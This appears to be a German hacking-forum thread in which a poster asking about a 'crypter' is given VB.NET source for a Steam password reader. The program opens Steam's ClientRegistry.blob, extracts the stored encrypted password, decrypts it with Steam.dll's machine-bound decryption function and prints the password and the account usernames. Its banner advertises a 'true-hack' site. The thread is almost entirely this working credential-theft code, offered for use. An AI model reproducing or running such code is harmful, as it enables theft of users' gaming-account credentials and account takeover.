Microsoft Visual Studio 2010 Hilfe beim Crypter

[Sawyer]

soweit ich weiß ist in dem code alles richtig, musst dann halt lokal auf deinem rechner decrypten

naja da bin ich mir nicht so sicher , gibt ja einen source von igoe , probiert einfach mal den^^

Imports System.Runtime.InteropServices
Imports System.Text
Imports System.IO

Module SteamDecrypt

    <DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
    Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
    End Function
    Sub Main(ByVal args() As String)
        On Error Resume Next
        Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"
        Dim decryptedDataSize As Integer = 0
        Dim pwd As New StringBuilder
        Dim F As Object
        Dim sInhalt As String
        Dim Phrase As Double
        Dim zwischen As Double = "0"
        Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")

        Console.Title = "SteamReader>>"
        F = FreeFile()
        FileOpen(F, Datei, OpenMode.Binary)
        sInhalt = InputString(F, LOF(F))
        Phrase = InStr(1, sInhalt, "Phrase")
        sInhalt = Mid(sInhalt, Phrase + 16)
        Dim PWnew As String = (Left(sInhalt, 92))
        Dim encpwd As String = (Left(sInhalt, 92))
        FileClose(F)
        pwd.Length = encpwd.Length / 2
        If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then

            Console.WriteLine(Constants.vbLf & " ############################################")
            Console.WriteLine(" ####### Website: www.vb-community.eu #######")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################## By Igoe #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
            Console.WriteLine(" ############################################")
            Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
            Console.Write(" Username: ")
            For Each drc As DirectoryInfo In di.GetDirectories()
                If drc.Name = "common" Then GoTo 1
                If drc.Name = "SourceMods" Then GoTo 1
                Console.Write(drc.Name & ", ")
1:
            Next
            Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)
            Console.ReadLine()
        Else
            Console.WriteLine(Constants.vbLf & " ############################################")
            Console.WriteLine(" ####### Website: www.vb-community.eu #######")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################## By Igoe #####")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ############################################")
            Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
            Console.WriteLine(" ############################################")
            Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")
            For Each drc As DirectoryInfo In di.GetDirectories()
                If drc.Name = "common" Then GoTo 2
                If drc.Name = "SourceMods" Then GoTo 2
                Console.Write(drc.Name & ", ")
2:
            Next
            Console.ReadLine()
        End If


    End Sub
End Module

MfG